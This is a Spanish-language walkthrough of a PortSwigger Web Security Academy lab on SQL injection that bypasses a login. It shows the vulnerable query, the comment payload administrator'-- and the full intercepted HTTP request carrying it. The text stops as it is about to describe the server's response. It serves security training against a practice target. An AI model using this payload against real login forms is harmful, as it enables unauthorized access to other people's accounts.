Lab: SQL injection vulnerability allowing login bypass

Vulnerabilidad de inyección SQL que permite eludir el inicio de sesión.

Información del laboratorio

https://portswigger.net/web-security/sql-injection/lab-login-bypass

En este laboratorio hay una vulnerabilidad de inyección SQL en la funcionalidad de inicio de sesión.

Cuando el usuario inicia sesión, la aplicación realiza una consulta SQL como la siguiente:

SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'

El objetivo del laboratorio es iniciar sesión como el usuario administrator.

Flujo de explotación

Captura de la petición

Se accede al panel de inicio de sesión y se insertan unas credenciales para capturar la petición y posteriormente poder alterarla:

Petición alterada para iniciar sesión como administrator

Si queremos iniciar sesión como el usuario administrador, necesitamos alterar la consulta de forma que podamos iniciar sesión sin necesidad de insertar una contraseña válida, eso lo podemos realizar, por ejemplo con el payload '--:

SELECT * FROM users WHERE username = 'administrator'--' AND password = ''

Se inserta el payload en la petición:

POST /login HTTP/2

Host: 0ab4006003bf43d081823e1c0056000b.web-security-academy.net

Cookie: session=ePPGOdAW30fc0r3YbkhdNwjP7Tp80Jlt

Content-Length: 77

Cache-Control: max-age=0

Origin: https://0ab4006003bf43d081823e1c0056000b.web-security-academy.net

Content-Type: application/x-www-form-urlencoded

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36


Referer: https://0ab4006003bf43d081823e1c0056000b.web-security-academy.net/login



csrf=IrXGjeKBV2HJTzVmYkoosyGYTYomuImX&username=administrator'--&password=test

Como se observa en la respuesta, se redirige a la sección de "My account" del usuario administrator y se establece una cookie de sesión, confirmando que la consulta se ha ejecutado correctamente: